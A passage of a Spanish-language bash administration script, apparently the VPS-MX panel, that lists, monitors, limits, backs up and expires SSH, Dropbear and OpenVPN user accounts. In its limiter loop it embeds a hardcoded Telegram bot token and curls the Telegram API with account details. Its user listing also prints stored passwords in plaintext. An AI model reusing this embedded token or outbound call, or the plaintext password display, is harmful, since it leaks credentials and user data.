- exp="$(printf '%8s%-2s' '[X]')"
- exp+="$(printf '%-6s' '[X]')"
- echo " $(msg -verm2 "$fecha")$(msg -verd "$exp")$(echo -e "$stat")"
- else
- if [[ $(date +%s) -gt $(date '+%s' -d "${fecha}") ]]; then
- exp="$(printf '%-5s' "Exp")"
- echo " $(msg -verm2 "$mes_dia/$ano")  $(msg -verm2 "$exp")$(echo -e "$stat")"
- else
- EXPTIME="$(($(($(date '+%s' -d "${fecha}") - $(date +%s))) / 86400))"
- if [[ "${#EXPTIME}" = "1" ]]; then
- exp="$(printf '%6s%-7s' "$EXPTIME")"
- elif [[ "${#EXPTIME}" = "2" ]]; then
- exp="$(printf '%7s%-6s' "$EXPTIME")"
- else
- exp="$(printf '%7s%-5s' "$EXPTIME")"
- fi
- echo " $(msg -verm2 "$mes_dia/$ano")$(msg -verd "$exp")$(echo -e "$stat")"
- fi
- fi
- echo -e "      $(msg -ama "TOKEN:") $(msg -azu "${us}")"
- msg -bar3
- let i++
- done
- msg -bar
- }
- data_user(){
- clear
- msg -bar
- msg -tit
- msg -ama "$(fun_trans "        INFORMACION DE USUARIOS SSH REGISTRADOS ")"
- msg -bar2
- cat_users=$(cat "/etc/passwd"|grep 'home'|grep 'false'|grep -v 'syslog')
- dat_us=$(printf '%-13s%-14s%-10s%-4s%-6s%s' 'Usuario' 'Contraseña' 'Fecha' 'Dia' 'Limit' 'Statu')
- msg -azu "  $dat_us"
- msg -bar
- i=1
- for u in `echo "${cat_users}"|awk -F ':' '{print $1}'`; do
- fix_hwid_token=$(echo "${cat_users}"|grep -w "$u"|awk -F ':' '{print $5}'|cut -d ',' -f1) && [[ "${fix_hwid_token}" = @(hwid|token) ]] && continue
- fecha=$(chage -l "$u"|sed -n '4p'|awk -F ': ' '{print $2}')
- mes_dia=$(echo $fecha|awk -F ',' '{print $1}'|sed 's/ //g')
- ano=$(echo $fecha|awk -F ', ' '{printf $2}'|cut -c 3-)
- us=$(printf '%-12s' "$u")
- pass=$(cat ${USRdatabase}|grep -w "$u"|cut -d'|' -f2)
- [[ "${#pass}" -gt '12' ]] && pass="duplicada"
- pass="$(printf '%-12s' "$pass")"
- unset stat
- if [[ $(passwd --status $u|cut -d ' ' -f2) = "P" ]]; then
- stat="$(msg -verd "◉ ")"
- else
- stat="$(msg -verm2 "📵 ")"
- fi
- Limit=$(cat ${USRdatabase}|grep -w "$u"|cut -d'|' -f4)
- [[ "${#Limit}" = "1" ]] && Limit=$(printf '%2s%-4s' "$Limit") || Limit=$(printf '%-6s' "$Limit")
- echo -ne "$(msg -verd "$i")$(msg -verm2 "-")$(msg -azu "${us}") $(msg -azu "${pass}")"
- if [[ $(echo $fecha|awk '{print $2}') = "" ]]; then
- exp="$(printf '%8s%-2s' '[X]')"
- exp+="$(printf '%-6s' '[X]')"
- echo " $(msg -verm2 "$fecha")$(msg -verd "$exp")$(echo -e "$stat")"
- else
- if [[ $(date +%s) -gt $(date '+%s' -d "${fecha}") ]]; then
- exp="$(printf '%-5s' "Exp")"
- echo " $(msg -verm2 "$mes_dia/$ano")  $(msg -verm2 "$exp")$(msg -ama "$Limit")$(echo -e "$stat")"
- else
- EXPTIME="$(($(($(date '+%s' -d "${fecha}") - $(date +%s))) / 86400))"
- [[ "${#EXPTIME}" = "1" ]] && exp="$(printf '%2s%-3s' "$EXPTIME")" || exp="$(printf '%-5s' "$EXPTIME")"
- echo " $(msg -verm2 "$mes_dia/$ano")  $(msg -verd "$exp")$(msg -ama "$Limit")$(echo -e "$stat")"
- fi
- fi
- let i++
- done
- msg -bar
- }
- menudata(){
- clear
- msg -bar
- msg -tit
- msg -ama " \e[1;33m[1] \e[37mDETALLES DE CUENTAS SSH \e[0m\n \e[1;33m[2] \e[37mDETALLES DE CUENTAS HWID \e[0m\n \e[1;33m[3] \e[37mDETALLES DE CUENTAS TOKEN \e[0m\n \e[1;31m[0] \e[1;37m<- VOLVER"
- msg -bar
- read -p " $(echo -e "\e[1;37mSeleccione Una Opcion [1/3]:\e[1;33m") " cuen
- case $cuen in
- 1)data_user;;
- 2)data_hwid;;
- 3)data_token;;
- 0) ;;
- esac
- }
- menumoni(){
- clear
- msg -bar
- msg -tit
- msg -ama " \e[1;33m[1] \e[37mMONITOR DE CUENTAS SSH\e[0m\n \e[1;33m[2] \e[37mMONITOR DE CUENTAS HWID\e[0m\n \e[1;33m[3] \e[37mMONITOR DE CUENTAS TOKEN\e[0m\n \e[1;31m[0] \e[1;37m<- VOLVER"
- msg -bar
- read -p " $(echo -e "\e[1;37mSeleccione Una Opcion [1/3]:\e[1;33m") " cuen
- case $cuen in
- 1)monit_ssh;;
- 2)monit_hwid;;
- 3)monit_token;;
- 0) ;;
- esac
- }
- monit_hwid () {
- clear
- clear
- msg -bar
- msg -tit
- red=$(tput setaf 1)
- gren=$(tput setaf 2)
- yellow=$(tput setaf 3)
- echo -e "$(fun_trans "\e[93m   MONITOR DE CONEXIONES SSH/DROPBEAR/SSL/OPENVPN")"
- msg -bar
- txtvar=$(printf '%-13s' " USUARIO")
- txtvar+=$(printf '%-20s' "CONEXIONES")
- txtvar+=$(printf '%-10s' "TIME/ON")
- echo -e "  \e[1;33m${txtvar}\e[0m"
- msg -bar
- cat_users=$(cat "/etc/passwd"|grep 'home'|grep 'hwid'|grep -v 'syslog')
- for i in `echo "$cat_users"|awk -F ':' '{print $1}'`; do
- hwid="$i"
- nom="$(echo "$cat_users"|grep -w "$i"|awk -F ':' '{print $5}'|cut -d ',' -f2)"
- user=$(printf '%-10s' " ${nom}")
- sep=$(printf '%-5s')
- _=$(
- PID="0+"
- [[ $(dpkg --get-selections|grep -w "openssh"|head -1) ]] && PID+="$(ps aux|grep -v grep|grep sshd|grep -w "$hwid"|grep -v root|wc -l)+"
- [[ $(dpkg --get-selections|grep -w "dropbear"|head -1) ]] && PID+="$(dropbear_pids|grep -w "${hwid}"|wc -l)+"
- [[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && [[ $(openvpn_pids|grep -w "$hwid"|cut -d'|' -f2) ]] && PID+="$(openvpn_pids|grep -w "$hwid"|cut -d'|' -f2)+"
- PID+="0"
- TIMEON="${TIMEUS[$hwid]}"
- [[ -z $TIMEON ]] && TIMEON=0
- MIN=$(($TIMEON/60))
- SEC=$(($TIMEON-$MIN*60))
- HOR=$(($MIN/60))
- MIN=$(($MIN-$HOR*60))
- HOUR="${HOR}h:${MIN}m:${SEC}s"
- [[ $(echo $PID|bc) -gt 0 ]] && hwid="$hwid [\033[1;32mON\033[0m${yellow}] " || hwid="$hwid [\033[1;31mOFF\033[0m${yellow}]"
- TOTALPID="$(echo $PID|bc)/hwid"	#$MAXUSER"
- while [[ ${#hwid} -lt 45 ]]; do
- hwid=$hwid" "
- done
- while [[ ${#TOTALPID} -lt 13 ]]; do
- TOTALPID=$TOTALPID" "
- done
- while [[ ${#HOUR} -lt 8 ]]; do
- HOUR=$HOUR" "
- done
- echo -e "${yellow}USER:${gren}$user $sep $TOTALPID $HOUR\n   ${red}HWID:${yellow} $hwid\n$(msg -bar)" >&2
- ) &
- pid=$!
- sleep 0.2s
- done
- while [[ -d /proc/$pid ]]; do
- sleep 2s
- done
- msg -bar
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- monit_token () {
- clear
- clear
- msg -bar
- msg -tit
- red=$(tput setaf 1)
- gren=$(tput setaf 2)
- yellow=$(tput setaf 3)
- echo -e "$(fun_trans "\e[93m   MONITOR DE CONEXIONES SSH/DROPBEAR/SSL/OPENVPN")"
- msg -bar
- txtvar=$(printf '%-13s' " USUARIO")
- txtvar+=$(printf '%-20s' "CONEXIONES")
- txtvar+=$(printf '%-10s' "TIME/ON")
- echo -e "  \e[1;33m${txtvar}\e[0m"
- msg -bar
- cat_users=$(cat "/etc/passwd"|grep 'home'|grep 'token'|grep -v 'syslog')
- for i in `echo "$cat_users"|awk -F ':' '{print $1}'`; do
- token="$i"
- nom="$(echo "$cat_users"|grep -w "$i"|awk -F ':' '{print $5}'|cut -d ',' -f2)"
- user=$(printf '%-10s' " ${nom}")
- sep=$(printf '%-5s')
- _=$(
- PID="0+"
- [[ $(dpkg --get-selections|grep -w "openssh"|head -1) ]] && PID+="$(ps aux|grep -v grep|grep sshd|grep -w "$token"|grep -v root|wc -l)+"
- [[ $(dpkg --get-selections|grep -w "dropbear"|head -1) ]] && PID+="$(dropbear_pids|grep -w "${token}"|wc -l)+"
- [[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && [[ $(openvpn_pids|grep -w "$token"|cut -d'|' -f2) ]] && PID+="$(openvpn_pids|grep -w "$token"|cut -d'|' -f2)+"
- PID+="0"
- TIMEON="${TIMEUS[$token]}"
- [[ -z $TIMEON ]] && TIMEON=0
- MIN=$(($TIMEON/60))
- SEC=$(($TIMEON-$MIN*60))
- HOR=$(($MIN/60))
- MIN=$(($MIN-$HOR*60))
- HOUR="${HOR}h:${MIN}m:${SEC}s"
- [[ $(echo $PID|bc) -gt 0 ]] && token="$token [\033[1;32mON\033[0m${yellow}] " || token="$token [\033[1;31mOFF\033[0m${yellow}]"
- TOTALPID="$(echo $PID|bc)/token"	#$MAXUSER"
- while [[ ${#token} -lt 45 ]]; do
- token=$token" "
- done
- while [[ ${#TOTALPID} -lt 13 ]]; do
- TOTALPID=$TOTALPID" "
- done
- while [[ ${#HOUR} -lt 8 ]]; do
- HOUR=$HOUR" "
- done
- echo -e "${yellow}USER:${gren}$user $sep $TOTALPID $HOUR\n   ${red}TOKEN:${yellow} $token\n$(msg -bar)" >&2
- ) &
- pid=$!
- sleep 0.2s
- done
- while [[ -d /proc/$pid ]]; do
- sleep 2s
- done
- msg -bar
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- monit_ssh () {
- clear
- clear
- msg -bar
- msg -tit
- red=$(tput setaf 1)
- gren=$(tput setaf 2)
- yellow=$(tput setaf 3)
- echo -e "$(fun_trans "\e[93m   MONITOR DE CONEXIONES SSH/DROPBEAR/SSL/OPENVPN")"
- msg -bar
- txtvar=$(printf '%-20s' " USUARIO")
- txtvar+=$(printf '%-14s' "CONEXIONES")
- txtvar+=$(printf '%-8s' "TIME/ON")
- echo -e "  \e[1;33m${txtvar}\e[0m"
- msg -bar
- cat_users=$(cat "/etc/passwd"|grep 'home'|grep 'sshm'|grep -v 'syslog')
- for i in `echo "$cat_users"|awk -F ':' '{print $1}'`; do
- user="$i"
- _=$(
- PID="0+"
- [[ $(dpkg --get-selections|grep -w "openssh"|head -1) ]] && PID+="$(ps aux|grep -v grep|grep sshd|grep -w "$user"|grep -v root|wc -l)+"
- [[ $(dpkg --get-selections|grep -w "dropbear"|head -1) ]] && PID+="$(dropbear_pids|grep -w "$user"|wc -l)+"
- [[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && [[ $(openvpn_pids|grep -w "$user"|cut -d'|' -f2) ]] && PID+="$(openvpn_pids|grep -w "$user"|cut -d'|' -f2)+"
- PID+="0"
- TIMEON="${TIMEUS[$user]}"
- [[ -z $TIMEON ]] && TIMEON=0
- MIN=$(($TIMEON/60))
- SEC=$(($TIMEON-$MIN*60))
- HOR=$(($MIN/60))
- MIN=$(($MIN-$HOR*60))
- HOUR="${HOR}h:${MIN}m:${SEC}s"
- [[ -z $(cat ${USRdatabase}|grep -w "${user}") ]] && MAXUSER="" || MAXUSER="$(cat ${USRdatabase}|grep -w "${user}"|cut -d'|' -f4)"
- [[ $(echo $PID|bc) -gt 0 ]] && user="$user [\033[1;32mON\033[0m${yellow}] " || user="$user [\033[1;31mOFF\033[0m${yellow}]"
- TOTALPID="$(echo $PID|bc)/$MAXUSER"
- while [[ ${#user} -lt 45 ]]; do
- user=$user" "
- done
- while [[ ${#TOTALPID} -lt 13 ]]; do
- TOTALPID=$TOTALPID" "
- done
- while [[ ${#HOUR} -lt 9 ]]; do
- HOUR=$HOUR" "
- done
- echo -e "${yellow}$user $TOTALPID $HOUR\n$(msg -bar)" >&2
- ) &
- pid=$!
- sleep 0.2s
- done
- while [[ -d /proc/$pid ]]; do
- sleep 2s
- done
- msg -bar
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- rm_vencidos () {
- clear
- clear
- msg -bar
- msg -tit
- echo -e "$(fun_trans "\e[93m           BORRANDO USUARIOS VENCIDOS ")"
- msg -bar
- red=$(tput setaf 1)
- gren=$(tput setaf 2)
- yellow=$(tput setaf 3)
- txtvar=$(printf '%-25s' " USUARIO")
- txtvar+=$(printf '%-25s' " VALIDIDEZ")
- echo -e "\033[1;92m${txtvar}"
- msg -bar
- expired="${red}$(fun_trans "Usuario Expirado")"
- valid="${gren}$(fun_trans "   Usuario Vigente")"
- never="${yellow}$(fun_trans "Usuario Ilimitado")"
- removido="${red}$(fun_trans "Eliminado")"
- DataVPS=$(date +%s)
- while read user; do
- DataUser=$(chage -l "${user}" |grep -i co|awk -F ":" '{print $2}')
- usr=$user
- while [[ ${#usr} -lt 20 ]]; do
- usr=$usr" "
- done
- [[ "$DataUser" = " never" ]] && {
- echo -e "${yellow}$usr $never"
- continue
- }
- DataSEC=$(date +%s --date="$DataUser")
- if [[ "$DataSEC" -lt "$DataVPS" ]]; then
- echo -ne "${yellow}$usr $expired"
- rm_user "$user" && echo -e "($removido)"
- else
- echo -e "${yellow}$usr $valid"
- fi
- done <<< "$(mostrar_usuarios)"
- rm -rf /etc/VPS-MX/VPS-MX-userlock
- rm -rf /etc/VPS-MX/controlador/Limiter.log
- unlockall2
- msg -bar
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- verif_fun () {
- local conexao
- local limite
- local TIMEUS
- declare -A conexao
- declare -A limite
- declare -A TIMEUS
- local LIMITERLOG="${SCPusr}/Limiter.log"
- local LIMITERLOG2="${SCPusr}/Limiter2.log"
- [[ $(dpkg --get-selections|grep -w "openssh"|head -1) ]] && local SSH=ON || local SSH=OFF
- [[ $(dpkg --get-selections|grep -w "dropbear"|head -1) ]] && local DROP=ON || local DROP=OFF
- [[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && local OPEN=ON || local OPEN=OFF
- while true; do
- unset EXPIRED
- unset ONLINES
- unset BLOQUEADO
- local TimeNOW=$(date +%s)
- while read user; do
- echo -ne "\033[1;33mUSUARIO: \033[1;32m$user "
- if [[ ! $(echo $(mostrar_usuarios)|grep -w "$user") ]]; then
- echo -e "\033[1;31mNO EXISTE"
- continue
- fi
- local DataUser=$(chage -l "${user}" |grep -i co|awk -F ":" '{print $2}')
- if [[ ! -z "$(echo $DataUser|grep never)" ]]; then
- echo -e "\033[1;31mILIMITADO"
- continue
- fi
- local DataSEC=$(date +%s --date="$DataUser")
- if [[ "$DataSEC" -lt "$TimeNOW" ]]; then
- EXPIRED="1+"
- block_userfun $user -loked && echo " $user (EXPIRADO) $(date +%r--%d/%m/%y)" >> $LIMITERLOG && echo " $user (EXPIRADO) $(date +%r--%d/%m/%y)" >> $LIMITERLOG2 && KEY="2012880601:AAEJ3Kk18PGDzW57LpTMnVMn_pQYQKW3V9w"
- URL="https://api.telegram.org/bot$KEY/sendMessage"
- MSG="⚠️ AVISO DE VPS: $NOM1 ⚠️
- 🔹 CUENTA: $user
- ❗️ �� EXPIRADA �� ❗️"
- curl -s --max-time 10 -d "chat_id=$IDB1&disable_web_page_preview=1&text=$MSG" $URL && pkill -u $user
- echo -e "\033[1;31m EXPIRADO"
- continue
- fi
- local PID="0+"
- [[ $SSH = ON  ]] && PID+="$(ps aux|grep -v grep|grep sshd|grep -w "$user"|grep -v root|wc -l 2>/dev/null)+"
- [[ $DROP = ON  ]] && PID+="$(dropbear_pids|grep -w "$user"|wc -l 2>/dev/null)+"
- [[ $OPEN = ON  ]] && [[ $(openvpn_pids|grep -w "$user"|cut -d'|' -f2) ]] && PID+="$(openvpn_pids|grep -w "$user"|cut -d'|' -f2)+"
- local ONLINES+="$(echo ${PID}0|bc)+"
- local conexao[$user]="$(echo ${PID}0|bc)"
- if [[ ${conexao[$user]} -gt '0' ]]; then #CONTADOR DE TEMPO ONLINE
- [[ -z "${TIMEUS[$user]}" ]] && local TIMEUS[$user]=0
- [[ "${TIMEUS[$user]}" != +([0-9]) ]] && local TIMEUS[$user]=0
- local TIMEUS[$user]="$((300+${TIMEUS[$user]}))"
- local VARS="$(cat ${MyTIME}|grep -w -v "$user")"
- echo "TIMEUS[$user]='${TIMEUS[$user]}'" > ${MyTIME}
- for variavel in $(echo ${VARS}); do echo "${variavel}" >> ${MyTIME}; done
- fi
- local limite[$user]="$(cat ${USRdatabase}|grep -w "${user}"|cut -d'|' -f4)"
- [[ -z "${limite[$user]}" ]] && continue
- [[ "${limite[$user]}" != +([0-9]) ]] && continue
- if [[ "${conexao[$user]}" -gt "${limite[$user]}" ]]; then
- local lock=$(block_userfun $user -loked)
- pkill -u $user
- droplim=`dropbear_pids|grep -w "$user"|cut -d'|' -f2`
- kill -9 $droplim &>/dev/null
- openlim=`openvpn_pids|grep -w "$user"|cut -d'|' -f2`
- kill -9 $openlim &>/dev/null
- echo "$lock" >> $LIMITERLOG && echo "$lock" >> $LIMITERLOG2
- echo -e "\033[1;31m ULTRAPASO LIMITE"
- continue
- fi
- echo -e "\033[1;33m OK! \033[1;31m${conexao[$user]} CONEXIONESS"
- BLOQUEADO="$(wc -l /etc/VPS-MX/VPS-MX-userlock | awk '{print $1}')"
- BLOQUEADO2="$(echo ${BLOQUEADO}|bc)0"
- BLOQUEADO3="/10"
- EXPIRADO="$(grep -c EXPIRADO /etc/VPS-MX/controlador/Limiter.log)"
- EXPIRADO2="$(echo ${EXPIRADO}|bc)0"
- EXPIRADO3="/10"
- done <<< "$(mostrar_usuarios)"
- echo "${ONLINES}0"|bc > ${SCPdir}/USRonlines
- echo "${EXPIRADO2}${EXPIRADO3}"|bc > ${SCPdir}/USRexpired
- echo "${BLOQUEADO2}${BLOQUEADO3}"|bc > ${SCPdir}/USRbloqueados
- limseg="$(less /etc/VPS-MX/controlador/tiemlim.log)"
- sleep $limseg # TEMPO DE ESPERA DO LOOP
- clear
- done
- }
- SPR &
- backup_fun () {
- clear
- clear
- msg -bar
- msg -tit
- msg -ama "$(fun_trans "        HERRAMIENTA DE BACKUP DE USUARIOS")"
- msg -bar
- menu_func "CREAR BACKUP" "RESTAURAR BACKUP"
- msg -bar
- unset selection
- while [[ ${selection} != @([1-2]) ]]; do
- echo -ne "\033[1;37m$(fun_trans "Seleccione una Opcion"): " && read selection
- tput cuu1 && tput dl1
- done
- case ${selection} in
- 1)
- cp ${USRdatabase} $HOME/VPS-MX-Backup
- msg -azu "$(fun_trans "Procedimiento Hecho con Exito, Guardado en:")"
- echo ""
- echo -e "\033[1;31mBACKUP > [\033[1;32m$HOME/VPS-MX-Backup\033[1;31m]"
- echo ""
- ;;
- 2)
- while [[ ! -e ${dirbackup} ]]; do
- echo -ne "\033[1;37m ¡¡Recomiendo DESACTIVAR Limitador si es que lo tine ACTIVO!!\n"
- echo -ne "\033[1;37m Escriba la ubicacion de la copia de seguridad\n"
- msg -bar
- echo -ne "\033[1;37m ENTER: para ruta predeterminada /root/VPS-MX-Backup: " && read dirbackup
- echo ""
- echo "----------  RESTAURANDO CUENTAS ESPERE "
- echo ""
- msg -bar
- [[ -z "${dirbackup}" ]] && dirbackup="/root/VPS-MX-Backup"
- tput cuu1 && tput dl1
- done
- VPSsec=$(date +%s)
- while read line; do
- nome=$(echo ${line}|cut -d'|' -f1)
- [[ $(echo $(mostrar_usuarios)|grep -w "$nome") ]] && { msg -verm "$nome [ERROR]"
- continue
- }
- senha=$(echo ${line}|cut -d'|' -f2)
- DateExp=$(echo ${line}|cut -d'|' -f3)
- DataSec=$(date +%s --date="$DateExp")
- [[ "$VPSsec" -lt "$DataSec" ]] && dias="$(($(($DataSec - $VPSsec)) / 86400))" || dias="NP"
- limite=$(echo ${line}|cut -d'|' -f4)
- add_user "$nome" "$senha" "$dias" "$limite" &>/dev/null && msg -verd "$nome [CUENTA VALIDA]" || msg -verm "$nome [CUENTA INVALIDA FECHA EXPIRADA]"
- done < ${dirbackup}
- ;;
- esac
- echo ""
- msg -bar
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- verif_funx () {
- clear
- clear
- msg -bar
- msg -tit
- echo -e "\033[1;32m             LIMITADOR DE CUENTAS"
- msg -bar
- echo -e "Esta Opcion Limita las Conexiones de SSH/SSL/DROPBEAR"
- PIDVRF="$(ps aux|grep "${SCPusr}/usercodes verificar"|grep -v grep|awk '{print $2}')"
- if [[ -z $PIDVRF ]]; then
- msg -bar
- echo -ne "\033[1;96m   ¿Cada cuantos segundos ejecutar el limitador?\n\033[1;97m  +Segundos = -Uso de CPU | -Segundos = +Uso de CPU\033[0;92m \n                Predeterminado:\033[1;37m 120s\n     Cuantos Segundos (Numeros Unicamente): " && read tiemlim
- [[ -z "$tiemlim" ]] && tiemlim="120"
- echo "${tiemlim}" > /etc/VPS-MX/controlador/tiemlim.log
- cd ${SCPusr}
- screen -dmS very ${SCPusr}/usercodes verificar
- else
- for pid in $(echo $PIDVRF); do
- kill -9 $pid &>/dev/null
- done
- [[ -e ${SCPdir}/USRonlines ]] && rm ${SCPdir}/USRonlines
- [[ -e ${SCPdir}/USRexpired ]] && rm ${SCPdir}/USRexpired
- [[ -e ${SCPdir}/USRbloqueados ]] && rm ${SCPdir}/USRbloqueados
- fi
- msg -bar
- [[ -z ${VERY} ]] && verificar="\033[1;32m ACTIVADO " || verificar="\033[1;31m DESACTIVADO "
- echo -e "            $verificar  --  CON EXITO"
- msg -bar
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- verif2_funx () {
- clear
- clear
- msg -bar
- msg -tit
- echo -e "\033[1;32m      DESBLOQUEO AUT. Y LIMPIADOR DE EXPIARDOS"
- msg -bar
- echo -e "Esta opcion desbloquea cada 60 segundos a usuarios\nbloqueados por el limitador y limpia los usuarios expirados"
- PIDVRF2="$(ps aux|grep "${SCPusr}/usercodes desbloqueo"|grep -v grep|awk '{print $2}')"
- if [[ -z $PIDVRF2 ]]; then
- msg -bar
- echo -ne "\033[1;96m   ¿Cada cuantos segundos ejecutar el desbloqueador?\n\033[1;97m  +Segundos = -Uso de CPU | -Segundos = +Uso de CPU\033[0;92m \n                Predeterminado:\033[1;37m 300s\n     Cuantos Segundos (Numeros Unicamente): " && read tiemdes
- [[ -z "$tiemdes" ]] && tiemdes="300"
- echo "${tiemdes}" > /etc/VPS-MX/controlador/tiemdes.log
- cd ${SCPusr}
- screen -dmS very2 ${SCPusr}/usercodes desbloqueo
- else
- for pid in $(echo $PIDVRF2); do
- kill -9 $pid &>/dev/null
- done
- fi
- msg -bar
- [[ -z ${VERY2} ]] && desbloqueo="\033[1;32m ACTIVADO " || desbloqueo="\033[1;31m DESACTIVADO "
- echo -e "            $desbloqueo  --  CON EXITO"
- msg -bar
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- baner_fun () {
- banner_on () {
- clear
- clear
- local="/etc/VPS-MX/bannerssh"
- rm -rf $local  > /dev/null 2>&1
- local2="/etc/dropbear/banner"
- chk=$(cat /etc/ssh/sshd_config | grep Banner)
- if [ "$(echo "$chk" | grep -v "#Banner" | grep Banner)" != "" ]; then
- local=$(echo "$chk" |grep -v "#Banner" | grep Banner | awk '{print $2}')
- else
- echo "" >> /etc/ssh/sshd_config
- echo "Banner /etc/VPS-MX/bannerssh" >> /etc/ssh/sshd_config
- local="/etc/VPS-MX/bannerssh"
- fi
- msg -bar
- msg -tit
- msg -ama "         AGREGAR BANNER SSH/SSL/DROPBEAR"
- msg -bar
- msg -ne "$(fun_trans  "Inserte el BANNER de preferencia en HTML sin saltos"): \n\n" && read ban_ner
- echo ""
- msg -bar
- credi="$(less /etc/VPS-MX/message.txt)"
- echo "$ban_ner" >> $local
- echo '<p style="text-align: center;"><span style="color: #0000ff;"><strong>'$credi'</strong></span><br /><em><span style="color: #ff0000;"><strong>SCRIPT - VPS&bull;MX</strong></span></em></p>' >> $local
- if [[ -e "$local2" ]]; then
- rm $local2  > /dev/null 2>&1
- cp $local $local2 > /dev/null 2>&1
- fi
- msg -verd "$(fun_trans  "           BANNER AGREGADO CON !! EXITO ¡¡" )" && msg -bar
- service dropbear stop 2>/dev/null
- service ssh restart 2>/dev/null
- service dropbear restart 2>/dev/null
- }
- banner_off () {
- clear
- clear
- msg -bar
- msg -tit
- msg -ama "         ELIMINANDO  BANNER SSH/SSL/DROPBEAR"
- msg -bar
- sed -i '/'Banner'/d' /etc/ssh/sshd_config
- sed -i -e 's/^[ \t]*//; s/[ \t]*$//; /^$/d' /etc/ssh/sshd_config
- echo "" >> /etc/ssh/sshd_config
- rm -rf  /etc/dropbear/banner > /dev/null 2>&1
- echo "" > /etc/dropbear/banner  > /dev/null 2>&1
- service dropbear stop 2>/dev/null
- service ssh restart 2>/dev/null
- service dropbear restart 2>/dev/null
- echo -e "\033[1;92m            BANNER ELIMINADO !! EXITO ¡¡ "
- msg -bar
- }
- clear
- clear
- msg -bar
- msg -tit
- msg -ama "         AGREGAR BANNER SSH/SSL/DROPBEAR"
- msg -bar
- echo -e "${cor[1]}            Escoja la opcion deseada."
- msg -bar
- echo -e "\033[1;92m 1).- \033[1;37m AGREGAR BANNER SSH/SSL/DROPBEAR "
- echo -e "\033[1;92m 2).- \033[1;37m ELIMINAR Y DESACTIVAR BANNER   "
- msg -bar
- echo -ne "\033[1;37mDigite solo el numero segun su respuesta: \033[1;32m"
- read opcao
- case $opcao in
- 1)
- msg -bar
- banner_on
- ;;
- 2)
- msg -bar
- banner_off
- ;;
- esac
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- desbloqueo_auto () {
- while true; do
- Desbloqueo.sh 2>/dev/null
- tiemdes="$(less /etc/VPS-MX/controlador/tiemdes.log)"
- sleep $tiemdes
- done
- }
- rec_total () {
- clear
- clear
- msg -bar
- msg -tit
- echo -e "\033[1;32m  REGISTRO TOTAL DE CUENTAS VIEJAS Y NUEVAS"
- msg -bar
- msg -ama "	CUENSTAS SSH"
- if [[ -e /etc/VPS-MX/VPS-MXuser ]]; then
- echo "$(cat /etc/VPS-MX/VPS-MXuser)"
- else
- msg -ama " NO HAY REGISTRO"
- fi
- msg -bar
- msg -ama "	CUENTAS HWID"
- if [[ -e /etc/VPS-MX/User-HWID ]]; then
- echo "$(cat /etc/VPS-MX/User-HWID)"
- else
- msg -ama " NO HAY REGISTRO"
- fi
- msg -bar
- msg -ama "	CUENTAS TOKEN"
- if [[ -e /etc/VPS-MX/User-TOKEN ]]; then
- echo "$(cat /etc/VPS-MX/User-TOKEN)"
- else
- msg -ama " NO HAY REGISTRO"
- fi
- msg -bar
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- if [[ "$1" = "verificar" ]]; then
- verif_fun
- exit
- fi
- [[ -z ${VERY} ]] && verificar="\033[1;31m[DESACTIVADO]" || verificar="\033[1;32m[ACTIVO]"
- if [[ "$1" = "desbloqueo" ]]; then
- desbloqueo_auto
- exit
- fi
- [[ -z ${VERY2} ]] && desbloqueo="\033[1;31m[DESACTIVADO]" || desbloqueo="\033[1;32m[ACTIVO]"
- msg -tit
- msg -ama "  MENU ADMINISTRACION DE USUARIOS SSL/SSH/DROPBEAR"
- msg -bar
- msg -bar3
- menu_func "CREAR NUEVO USUARIO [\e[31m\e[43mSSH/HWID/TOKEN \e[0m\e[37m]" "CREAR USUARIO TEMPORAL" "REMOVER USUARIO [\e[31m\e[43mSSH/HWID/TOKEN \e[0m\e[37m]" "BLOQUEAR |DESBLOQUEAR USUARIO" "REINICIAR CONTADOR DE BLOQUEADOS |EXPIRADOS" "EDITAR USUARIO" "RENOVAR USUARIO" "MOSTRAR CUENTAS [\e[31m\e[43mSSH/HWID/TOKEN \e[0m\e[37m]" "USUARIOS CONECTADOS [\e[31m\e[43mSSH/HWID/TOKEN \e[0m\e[37m] " "ELIMINAR USUARIOS VENCIDOS" "BACKUP USUARIOS" "AGREGAR/ELIMINAR BANNER " "\033[1;31m⚠️ELIMINAR TODOS LOS USUARIOS⚠️ \n" " -fi ${verificar}   \033[1;97m🔒 LIMITADOR-DE-CUENTAS 🔒 \n" " -fi ${desbloqueo}   \033[1;97m🔓 DESBLOQUEO-AUTOMATICO 🔓 \n" "\033[1;92mLOG DE CUENTAS REGISTRADAS" "LIMPIAR LOG DE LIMITADOR"
- [[ -e "${SCPusr}/Limiter2.log" ]] && echo -ne "$(msg -verd "  [18]") $(msg -verm2 "➛ ") " &&  msg -azu "$(fun_trans "\033[1;93mVER LOG DE LIMITADOR")"
- echo -ne ""$(msg -bar)"   \n$(msg -verd "  [0]") $(msg -verm2 "➛ ")" &&  msg -bra  "  \e[97m\033[1;41m VOLVER \033[1;37m"
- msg -bar
- selection=$(selection_fun 19)
- case ${selection} in
- 1)menu_crearuser;;
- 2)${SCPdir2}/Crear-Demo.sh "${idioma}";;
- 3)menudel;;
- 4)block_user;;
- 5)reset_contador;;
- 6)edit_user;;
- 7)renew_user;;
- 8)menudata;;
- 9)menumoni;;
- 10)rm_vencidos;;
- 11)backup_fun;;
- 12)baner_fun;;
- 13)eliminar_all;;
- 14)verif_funx;;
- 15)verif2_funx;;
- 16)rec_total;;
- 17)
- rm -rf ${SCPusr}/Limiter2.log
- echo -e "\033[1;32m  LOG ELIMINADO CON EXITO"
- msg -bar
